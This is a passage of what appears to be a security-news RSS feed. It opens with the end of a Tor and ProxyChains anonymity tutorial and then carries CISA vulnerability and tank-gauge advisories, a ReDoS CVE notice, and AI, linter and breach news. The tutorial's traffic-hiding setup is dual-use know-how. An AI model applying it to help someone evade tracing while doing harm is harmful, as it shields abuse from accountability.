src="https://cdn-images-1.medium.com/max/912/1*hhEvbEU5aqyHOFgKW60xMw.png"></figure><p>If the TOR is successfully installed, we need to activate the service with the command below.</p><pre>sudo service tor start</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*Famp5EFsGuXpWbEL1sfMLA.png"></figure><p>Now you need to locate where exactly the configuration file is needed to set up the ProxyChains on our computer. Just like in Harry Potter where you could use<em> </em>the<em> accio</em> spell, we’ll use the<em> locate</em> here. Hit the command below.</p><pre>locate proxychains</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*AiwrC59f3_d7QsjWNGIDOA.png"></figure><p>Now you know the configuration file, I need you to open that using the command below and we’ll see what we can do next.</p><pre>sudo nano /etc/proxychains4.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*Ra5IQwbmiJhUxDZ0vrJPjA.png"></figure><p>Okay, there are four options of ProxyList that we can utilize. There are Dynamic Chain, Strict Chain, Round Robin Chain and also Random Chain. The choice between strict, dynamic, random, or round-robin in ProxyChains depends on the specific needs and requirements of the user. Each method has its own advantages and disadvantages. Below you could see that strict_chain is coloured with white. That is because it comes to default. If you want to change the option, just uncommented the configuration using the “#” sign.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*_FUdcLFEisPBresG1-AggQ.png"></figure><p>Because we can only choose one and I want to use the round-robin chain, I put the “#” sign in strict_chain and delete the “#” sign in round_robin_chain to activate it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*cc3h5ZgAXcNwnbRRoAd1aA.png"></figure><p>Well, for the last touch put the “socks5 127.0.0.1 9050” entry at the end of the file to specify the local SOCKS proxy server and port that ProxyChains will use to forward the traffic. Port 9050 is the default port that the Tor client software listens on for incoming SOCKS5 connections. Why do we need the SOCKS5 when we already got the SOCKS4? SOCKS5 is generally considered to be more secure than SOCKS4, as it supports authentication and can encrypt the traffic between the client and the proxy server. If you are done, just save the configuration file by pressing the CTRL button and X at the same time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*fXfyAjzOsEFerv2K_y8yDg.png"></figure><p>The moment of truth, now you can use the ProxyChains to hide yourself. Here I try to access the browser — Firefox and do the DNS leak test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*kfcnh33kaLtIwZ7IglwuVQ.png"></figure><p>Below is the IP address that I got, and I suppose my location. Currently, I’m not in Vienna and ProxyChains will keep changing my IP Address and also the location for the next few times. You can add your own configuration by adding a free IP that you obtain from free Proxy Servers available online. You can make them guess where actually your location is, imagine someone searching for you on the other side of the world and finding nothing. It can be quite frustrating, mate:”))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ycwq0Uk5NxK778cn7mqysA.png"></figure><h3><strong>Conclusion</strong></h3><p>Good luck finding me in Vienna — cheerio 🤙</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=10fbcb0519fa" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-ultimate-guide-to-stay-hidden-online-tor-and-proxy-chaining-10fbcb0519fa">The Ultimate Guide to Stay Hidden Online: TOR and Proxy Chaining</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Adds One Known Exploited Vulnerability to Catalog]]></title>
<description><![CDATA[CISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.

CVE-2026-45247 Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability

This type of vulnerability is a frequent attack vector for maliciou...]]></description>
<link>https://tsecurity.de/de/3570553/it-security-nachrichten/cisa-adds-one-known-exploited-vulnerability-to-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570553/it-security-nachrichten/cisa-adds-one-known-exploited-vulnerability-to-catalog/</guid>
<pubDate>Wed, 03 Jun 2026 20:37:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA has added one new vulnerability to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>, based on evidence of active exploitation.</p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-45247" target="_blank">CVE-2026-45247</a> Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability</li>
</ul>
<p>This type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.</p>
<p><a href="https://www.cisa.gov/binding-operational-directive-22-01">Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities</a> established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the <a href="https://www.cisa.gov/sites/default/files/publications/Reducing_the_Significant_Risk_of_Known_Exploited_Vulnerabilities_211103.pdf">BOD 22-01 Fact Sheet</a> for more information.</p>
<p>Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">KEV Catalog vulnerabilities</a> as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the <a href="https://www.cisa.gov/known-exploited-vulnerabilities">specified criteria</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Walmart’s AI workflows meet the realities of the balance sheet]]></title>
<description><![CDATA[Walmart has reportedly begun limiting employees’ use of an internal AI assistant called Code Puppy after demands placed on the LLM backing the tool were higher than expected. Employees of Walmart were encouraged to use Code Puppy without any stricture or stipulations as to the limits of use, but ...]]></description>
<link>https://tsecurity.de/de/3569038/ai-nachrichten/walmarts-ai-workflows-meet-the-realities-of-the-balance-sheet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569038/ai-nachrichten/walmarts-ai-workflows-meet-the-realities-of-the-balance-sheet/</guid>
<pubDate>Wed, 03 Jun 2026 11:48:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Walmart has reportedly begun limiting employees’ use of an internal AI assistant called Code Puppy after demands placed on the LLM backing the tool were higher than expected. Employees of Walmart were encouraged to use Code Puppy without any stricture or stipulations as to the limits of use, but Walmart is now assigning employees a […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/walmart-limits-ai-use-as-workflows-meet-the-realities-of-the-balance-sheet/">Walmart’s AI workflows meet the realities of the balance sheet</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pyrefly 1.0: A fast, forward-looking Python linter]]></title>
<description><![CDATA[A veritable garden of linters and type checkers has blossomed in the Python ecosystem. Pyright and Mypy are two of the most popular, while Astral’s ty and Meta’s Pyrefly are two promising Rust-based newcomers. We compared early-stage ty and Pyrefly last June. One year later, Meta has released Pyr...]]></description>
<link>https://tsecurity.de/de/3568930/ai-nachrichten/pyrefly-10-a-fast-forward-looking-python-linter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568930/ai-nachrichten/pyrefly-10-a-fast-forward-looking-python-linter/</guid>
<pubDate>Wed, 03 Jun 2026 11:04:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A veritable garden of linters and type checkers has blossomed in the Python ecosystem. <a href="https://github.com/microsoft/pyright" data-type="link" data-id="https://github.com/microsoft/pyright">Pyright</a> and <a href="https://mypy-lang.org/" data-type="link" data-id="https://mypy-lang.org/">Mypy</a> are two of the most popular, while Astral’s ty and Meta’s Pyrefly are two promising Rust-based newcomers. We compared early-stage ty and Pyrefly <a href="https://www.infoworld.com/article/4005961/pyrefly-and-ty-two-new-rust-powered-python-type-checking-tools-compared.html" data-type="link" data-id="https://www.infoworld.com/article/4005961/pyrefly-and-ty-two-new-rust-powered-python-type-checking-tools-compared.html">last June</a>. One year later, Meta has released <a href="https://pyrefly.org/blog/v1.0/" data-type="link" data-id="https://pyrefly.org/blog/v1.0/">Pyrefly 1.0</a>.</p>



<p>Pyrefly is intended to stand out from the pack by way of a few key features. It’s written in Rust for performance and memory efficiency, and it has a number of intriguing forward-looking features, some still experimental. </p>



<h2 class="wp-block-heading">Setting up Pyrefly</h2>



<p>Pyrefly installs into a Python environment like any other Python type checker (<code>pip install pyrefly</code>) and brings with it no additional dependencies. <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> users can work with Pyrefly <a href="https://marketplace.visualstudio.com/items?itemName=meta.pyrefly">via an extension</a>, but the extension doesn’t give you access to the command-line tools offered by Pyrefly when it’s installed in a project <a href="https://www.infoworld.com/article/2260103/virtualenv-and-venv-python-virtual-environments-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2260103/virtualenv-and-venv-python-virtual-environments-explained.html">venv</a>.</p>



<p>You can start using Pyrefly right away, with no actual setup. If Pyrefly detects no configuration for a given project, it defaults to flagging only the most high-profile errors: syntax issues, unrecognized names, and so on. To start using Pyrefly’s more advanced features, you can add a <code>[tool.pyrefly]</code> section in <code>pyproject.toml</code>, or create a <code>pyrefly.toml</code> file, and populate those with <a href="https://pyrefly.org/en/docs/configuration/">your desired settings</a>.</p>



<p>You can also run <code>pyrefly init</code> on your codebase and set things up automatically, including migrating existing settings from previous Pyrefly installs or from Mypy or Pyright. By default Pyrefly will use <code>**/*.py*</code> as the project’s includes directory, and will automatically ignore site package paths from your configured environment, thus sparing you potentially thousands of spurious errors from your venv’s installed packages.</p>



<h2 class="wp-block-heading">Using Pyrefly</h2>



<p>Once you have Pyrefly set up on a project, you’ll likely see an immense number of new errors. To silence all of them at once via <code># pyrefly: ignore</code> comment directives, run <code>pyrefly suppress</code>. This will not only reduce the amount of error noise, but allow you to see what each error actually is from its suppression comments.</p>



<p>Suppression comments have another nice readability feature: they can be placed on the line <em>before</em> the offending error, rather than at the end of it. You can also pre-emptively suppress errors for an entire module with one directive at the top of the file, but having each error suppressed individually makes more sense. And while there’s a <code>pyrefly suppress --remove-unused</code> command to remove suppressions that have no actual error, there’s no command for stripping a codebase of all suppressions. However, because suppressions are consistently formatted, you could remove those suppressions with a simple regex-powered search-and-replace.</p>



<p>A currently experimental feature called <a href="https://pyrefly.org/en/docs/error-suppressions/#baseline-files-experimental">baseline files</a> borrows an idea from the <code>basedpyright</code> tool. You generate a project-wide <code>.json</code> file with <code>pyrefly check --baseline</code> that tracks all existing errors in the project, then only <em>new</em> errors apart from those will be reported. It’s a handy way to refactor a codebase when new work is being done on it, so that existing problems can be handled separately.</p>



<p>If you have the Pyrefly extension installed in VS Code, objects without existing type hints will have suggested type hints displayed as <a href="https://pyrefly.org/en/docs/IDE-features/#inlay-hints">inlays</a> if the types can be inferred from the code. These can be added with a right click, or inserted automatically across the codebase with the command <code>pyrefly infer</code>.</p>



<h2 class="wp-block-heading">Advanced Pyrefly features</h2>



<p>Two major third-party Python packages have direct type annotation support in Pyrefly. One is <a href="https://pyrefly.org/en/docs/django/#how-pyrefly-supports-django">Django and its ORM</a>, via the <code>django-stubs</code> package. Models, fields, relationships, class-based generic views, and many other features have typing support. The other package, Pydantic, gets support from Pyrefly for features like fields, dataclasses, and Pydantic’s own runtime validation logic. Pydantic validation can be “lax” (automatic coercion of types via unions) or “strict” (exact types required).</p>



<p>Many advanced Pyrefly features are still considered experimental, but have a lot of promise. With <a href="https://pyrefly.org/en/docs/report/">type coverage</a>, for instance, you can use <code>pyrefly report</code> to generate a JSON report of how thoroughly types are used in the codebase. (This is not to be confused with the <code>coverage</code> package in Python, which describes <em>test</em> coverage for a codebase.)</p>



<p>Another experimental feature lets you <a href="https://pyrefly.org/en/docs/stubgen/">generate stub files</a> for a codebase by using static code analysis (not runtime analysis). PyTorch users also benefit from a form of experimental Pyrefly support. <a href="https://pyrefly.org/en/docs/tensor-shapes/">Tensor shapes</a> can be described with types and type-checked across transformations. Note that the typing used for this is exclusive to Pyrefly, as there is no agreed-on standard for how to do this.</p>



<h2 class="wp-block-heading">Pyrefly vs. Pyright and Mypy</h2>



<p>Pyright and Mypy have been the default choices for linting and type checking in the Python world for some time now. Pyright is an easy default for Visual Studio Code users, as it’s part of Microsoft’s Python extensions for that editor, and Mypy offers extensibility and broader compatibility with older codebases. Pyrefly, on the other hand, is forward-looking, with fewer legacy concerns. It also has a <a href="https://pydevtools.com/handbook/explanation/how-do-mypy-pyright-and-ty-compare/#how-each-checker-scores-on-the-typing-spec">higher score for test conformance</a> than Mypy, though not a higher score than Pyright.</p>



<p>Other key differences include the type checking philosophy used by each, and their licensing. Pyrefly and Pyright infer as aggressively as possible, while Mypy’s default is to skip anything unannotated. And while Pyrefly and Mypy are MIT-licensed, only Pyright’s core functionality is MIT-licensed. <a href="https://marketplace.visualstudio.com/items?itemName=ms-python.vscode-pylance" data-type="link" data-id="https://marketplace.visualstudio.com/items?itemName=ms-python.vscode-pylance">Pylance</a>, the language server extension for VS Code that is powered by Pyright, is proprietary.</p>



<p>Finally, Pyrefly’s Rust codebase gives it a default performance edge over both Mypy and Pyright, which are written in Python and TypeScript, respectively. Astral’s ty, also written in Rust, is still more prototype than mature project. Pyrefly has enough of a feature set right now that it’s already worth experimenting with—although that’s best done on a branch of your code where adding type annotations, suppression comments, and init files won’t pose a problem.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-10692 | johnhuang316 code-index-mcp up to 2.14.0 search_code_advanced is_safe_regex_pattern regex redos (Issue 84 / EUVD-2026-34057)]]></title>
<description><![CDATA[A vulnerability described as problematic has been identified in johnhuang316 code-index-mcp up to 2.14.0. Affected is the function is_safe_regex_pattern of the component search_code_advanced. Executing a manipulation of the argument regex can lead to inefficient regular expression complexity.

Th...]]></description>
<link>https://tsecurity.de/de/3568067/sicherheitsluecken/cve-2026-10692-johnhuang316-code-index-mcp-up-to-2140-searchcodeadvanced-issaferegexpattern-regex-redos-issue-84-euvd-2026-34057/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568067/sicherheitsluecken/cve-2026-10692-johnhuang316-code-index-mcp-up-to-2140-searchcodeadvanced-issaferegexpattern-regex-redos-issue-84-euvd-2026-34057/</guid>
<pubDate>Wed, 03 Jun 2026 04:21:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">problematic</a> has been identified in <a href="https://vuldb.com/product/johnhuang316:code-index-mcp">johnhuang316 code-index-mcp up to 2.14.0</a>. Affected is the function <code>is_safe_regex_pattern</code> of the component <em>search_code_advanced</em>. Executing a manipulation of the argument <em>regex</em> can lead to inefficient regular expression complexity.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-10692">CVE-2026-10692</a>. It is possible to launch the attack remotely. Furthermore, an exploit is available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[Researchers Flag 'Very Serious' Scale of AI Misuse]]></title>
<description><![CDATA[A survey of 95,513 students in a representative sample of 20 major U.S. universities found that a third of them use chatbots to produce text, video or code for assignments, and 9 percent admit using them to cheat.]]></description>
<link>https://tsecurity.de/de/3567474/ai-nachrichten/researchers-flag-very-serious-scale-of-ai-misuse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567474/ai-nachrichten/researchers-flag-very-serious-scale-of-ai-misuse/</guid>
<pubDate>Tue, 02 Jun 2026 21:46:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A survey of 95,513 students in a representative sample of 20 major U.S. universities found that a third of them use chatbots to produce text, video or code for assignments, and 9 percent admit using them to cheat.]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Adds Two Known Exploited Vulnerabilities to Catalog]]></title>
<description><![CDATA[CISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.

CVE-2022-0492 Linux Kernel Improper Authentication Vulnerability
CVE-2025-48595 Android Framework Integer Overflow Vulnerability

These types of vulnerabilities ...]]></description>
<link>https://tsecurity.de/de/3567380/it-security-nachrichten/cisa-adds-two-known-exploited-vulnerabilities-to-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567380/it-security-nachrichten/cisa-adds-two-known-exploited-vulnerabilities-to-catalog/</guid>
<pubDate>Tue, 02 Jun 2026 21:08:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA has added two new vulnerabilities to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>, based on evidence of active exploitation.</p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2022-0492" target="_blank">CVE-2022-0492</a> Linux Kernel Improper Authentication Vulnerability</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-48595" target="_blank">CVE-2025-48595</a> Android Framework Integer Overflow Vulnerability</li>
</ul>
<p>These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.</p>
<p><a href="https://www.cisa.gov/binding-operational-directive-22-01">Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities</a> established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the <a href="https://www.cisa.gov/sites/default/files/publications/Reducing_the_Significant_Risk_of_Known_Exploited_Vulnerabilities_211103.pdf">BOD 22-01 Fact Sheet</a> for more information.</p>
<p>Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">KEV Catalog vulnerabilities</a> as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the <a href="https://www.cisa.gov/known-exploited-vulnerabilities">specified criteria</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA and Partners Urge Hardening Automatic Tank Gauge Systems]]></title>
<description><![CDATA[CISA and Partners Urge Hardening Automatic Tank Gauge Systems
Overview
The Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), the Department of Energy (DOE), the Environmental Protection Agency (EPA), the Transpo...]]></description>
<link>https://tsecurity.de/de/3567274/it-security-nachrichten/cisa-and-partners-urge-hardening-automatic-tank-gauge-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567274/it-security-nachrichten/cisa-and-partners-urge-hardening-automatic-tank-gauge-systems/</guid>
<pubDate>Tue, 02 Jun 2026 20:23:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a class="c-button" href="https://www.cisa.gov/sites/default/files/2026-06/fact-sheet-cisa-and-partners-urge-hardening-automatic-tank-gauge-systems_508c.pdf">CISA and Partners Urge Hardening Automatic Tank Gauge Systems</a></p>
<h2><strong>Overview</strong></h2>
<p>The Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), the Department of Energy (DOE), the Environmental Protection Agency (EPA), the Transportation Security Administration (TSA), the Department of Transportation (DOT), and the U.S. Department of Agriculture (USDA)—hereafter referred to as “the authoring organizations”—are aware of malicious cyber activity targeting U.S.-based automatic tank gauge (ATG) systems. ATG systems are widely used throughout the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector">Energy</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/chemical-sector">Chemical</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/transportation-systems-sector">Transportation Systems</a> Sectors for automated and remote monitoring of storage tank parameters, including fuel and liquid levels, temperature, and possible leak detection. The authoring organizations urge ATG owners and operators to defend against this malicious activity by securing their ATG systems with strong passwords and by removing them from the internet to reduce public exposure.  </p>
<h2><strong>Threat</strong></h2>
<p>The recent malicious cyber activity observed by the authoring organizations—which the U.S. government has not yet attributed to a nation-state or threat actor group—involves cyber threat actors compromising internet-exposed ATG systems and subsequently modifying them through command execution. This fact sheet provides insight into probable tactics, techniques, and procedures (TTPs) leveraged by these cyber actors, highlights risk factors associated with such compromises, and provides mitigation guidance and resources to reduce the likelihood of continued malicious activity targeting U.S.-based ATG systems.  </p>
<p>Cyber threat actors may exploit flaws in ATG systems through multiple attack vectors:</p>
<ul>
<li><strong>Authentication Bypass and Hardcoded Credentials:</strong> Threat actors gain unauthorized access to device management interfaces.  </li>
<li><strong>OS Command Execution and Structured Query Language (SQL) Injection:</strong> Threat actors execute arbitrary code and manipulate underlying databases.  </li>
<li><strong>Privilege Escalation:</strong> Threat actors achieve full administrator privileges over the device application and operating system.</li>
</ul>
<p>Should a cyber threat actor exploit these vulnerabilities and compromise an ATG system, they could disrupt or manipulate the below critical functions by interfacing directly with the tank management as though they possessed legitimate physical access to the system console. The cyber threat actors could:</p>
<ul>
<li><strong>Alter system(s) attributes</strong>, such as network settings, product identifiers, tank volumes, and pump controls;</li>
<li><strong>Compound operational malfunctions</strong>; components operating incorrectly could create a denial of view condition of tank fill levels, which could cause permanent damage to the tank system’s critical function;</li>
<li><strong>Disable system alerts</strong>, reducing an operator’s ability to detect and mitigate system issues increases the risk of environmental or physical hazards from incidents such as leaks or relay failures.</li>
</ul>
<h2><strong>Mitigations</strong></h2>
<p>The authoring organizations recommend ATG owners immediately implement the following recommendations:</p>
<ol>
<li><strong>Eliminate public internet exposure: Do not expose the ATG serial port (e.g., default TCP port 8001, 9001, or 10001), or other applicable web interfaces, directly to the internet</strong>. If remote access to the port is necessary, consider the following options:<br>
<ol type="a">
<li><strong>Restrict access</strong>: Use a firewall, access control list (ACL), or virtual private network (VPN) to restrict access.</li>
</ol>
</li>
<li><strong>Enforce Credential Security: Change any default passwords immediately</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A">CPG 3.A</a>] and implement strong, unique security codes and administrative credentials for all interfaces, including the serial port. Further, implement phishing-resistant multifactor authentication wherever feasible [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F">CPG 3.F</a>]. If unfamiliar with these procedures, contact your ATG service provider for assistance.</li>
<li><strong>Apply Patches</strong>: Where possible, work with certified ATG service providers, if available, to verify compliance, update software, and apply the latest security patches from the manufacturer.  </li>
<li><strong>Monitor and Report</strong>: Organizations should actively monitor networks for unauthorized access.<br>
<ol type="a">
<li><strong>Enable logging and audit and monitor logs</strong> to identify exposures of ATG device interfaces, unauthorized connections, suspicious alarms, alarm threshold modifications, tank label changes, and other system modifications [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>].</li>
<li><strong>Report suspected incidents</strong> promptly to the CISA <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/information-sharing/cyber-incident-reporting-critical-infrastructure-act-2022-circia/voluntary-cyber-incident-reporting">portal</a>.</li>
</ol>
</li>
<li><strong>Engage your third-party service providers</strong> to adopt CISA, FBI, EPA, and DOE’s <a href="https://www.cisa.gov/sites/default/files/2025-05/fact-sheet-primary-mitigations-to-reduce-cyber-threats-to-operational-technology-508c.pdf">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageRisksfromManagedServiceProviders1E">CPG 1.E</a>].</li>
</ol>
<h2><strong>Resources</strong></h2>
<p>The authoring organizations recommend ATG owners and operators review the following resources and implement suggested mitigations, where possible, to enhance their security posture.</p>
<ol>
<li>For more information on mitigating cyber threat activity targeting internet-exposed OT and ICS, see CISA, FBI, EPA, and DOE’s <a href="https://www.cisa.gov/sites/default/files/2025-05/fact-sheet-primary-mitigations-to-reduce-cyber-threats-to-operational-technology-508c.pdf">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> fact sheet.</li>
<li>For more information on vulnerabilities affecting ATG systems, see <a href="https://www.bitsight.com/blog/critical-vulnerabilities-discovered-automated-tank-gauge-systems" target="_blank">Critical Vulnerabilities Discovered in Automated Tank Gauge Systems</a>.<a href="https://www.cisa.gov/#note1"><sup>1</sup></a></li>
<li>For ways to identify and remove internet-accessible assets, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction">Internet Exposure Reduction Guidance</a> web page.  </li>
<li>For more information about how organizations should design, secure, and manage connectivity in OT, see <a href="https://www.ncsc.gov.uk/sites/default/files/documents/ncsc-secure-connectivity-for-operational-technology.pdf" target="_blank">Secure connectivity principles for Operational Technology (OT)</a>.  </li>
</ol>
<h2><strong>Contact Information</strong></h2>
<p>The authoring organizations recommend U.S. organizations report suspicious or criminal activity related to information provided in this fact sheet.</p>
<ul>
<li><strong>CISA</strong>: Contact CISA’s 24/7 Operations Center via <a href="mailto:report@cisa.gov" target="_blank">report@cisa.gov</a> or 888-282-0870.
<ul>
<li>When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For more information on reporting a cyber incident, refer to CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/information-sharing/cyber-incident-reporting-critical-infrastructure-act-2022-circia/voluntary-cyber-incident-reporting">Voluntary Cyber Incident Reporting</a> web page.</li>
</ul>
</li>
<li><strong>FBI</strong>: File a complaint with the Internet Crime Complaint Center (IC3) at <a href="https://www.ic3.gov/" target="_blank">www.ic3.gov</a>. When available, include the following incident information: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting organization; and designated point of contact.</li>
<li><strong>EPA</strong>: Contact EPA’s Office of National Security via <a href="mailto:ONS-OC@epa.gov" target="_blank">ONS-OC@epa.gov</a>.</li>
<li><strong>DOE</strong>: Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" target="_blank">EnergySRMA@hq.doe.gov</a>.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by the authoring organizations. </p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor">1</a> Pedro Umbelino, “Critical Vulnerabilities Discovered in Automated Tank Gauge Systems,” <em>Bitsight,</em> October 11, 2023, <a href="https://www.bitsight.com/blog/critical-vulnerabilities-discovered-automated-tank-gauge-systems" target="_blank">bitsight.com/blog/critical-vulnerabilities-discovered-automated-tank-gauge-systems</a>.</p>
<div class="c-text-cta">
<div class="l-constrain c-text-cta__inner">
<div class="c-text-cta__content">
<h2>Please share your thoughts!</h2>
<div class="c-text-cta__summary">
<p>We welcome your feedback.</p>
</div>
<p><a class="c-button c-button--on-dark" href="https://cisasurvey.gov1.qualtrics.com/jfe/form/SV_9n4TtB8uttUPaM6?product=https://www.cisa.gov/resources-tools/resources/cisa-and-partners-urge-hardening-automatic-tank-gauge-systems">CISA PRODUCT SURVEY</a></p>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[64,000 accounts exposed in breach of GTA V cheat service Atlas Menu]]></title>
<description><![CDATA[Atlas Menu, a cheat service for Grand Theft Auto V and Counter-Strike 2, has been added to the Have I Been Pwned database following a data breach that exposed tens of thousands of user records. The incident exposed approximately 64,000…
Read more →
The post 64,000 accounts exposed in breach of GT...]]></description>
<link>https://tsecurity.de/de/3566341/it-security-nachrichten/64000-accounts-exposed-in-breach-of-gta-v-cheat-service-atlas-menu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566341/it-security-nachrichten/64000-accounts-exposed-in-breach-of-gta-v-cheat-service-atlas-menu/</guid>
<pubDate>Tue, 02 Jun 2026 15:54:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Atlas Menu, a cheat service for Grand Theft Auto V and Counter-Strike 2, has been added to the Have I Been Pwned database following a data breach that exposed tens of thousands of user records. The incident exposed approximately 64,000…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/64000-accounts-exposed-in-breach-of-gta-v-cheat-service-atlas-menu/">Read more →</a></p>
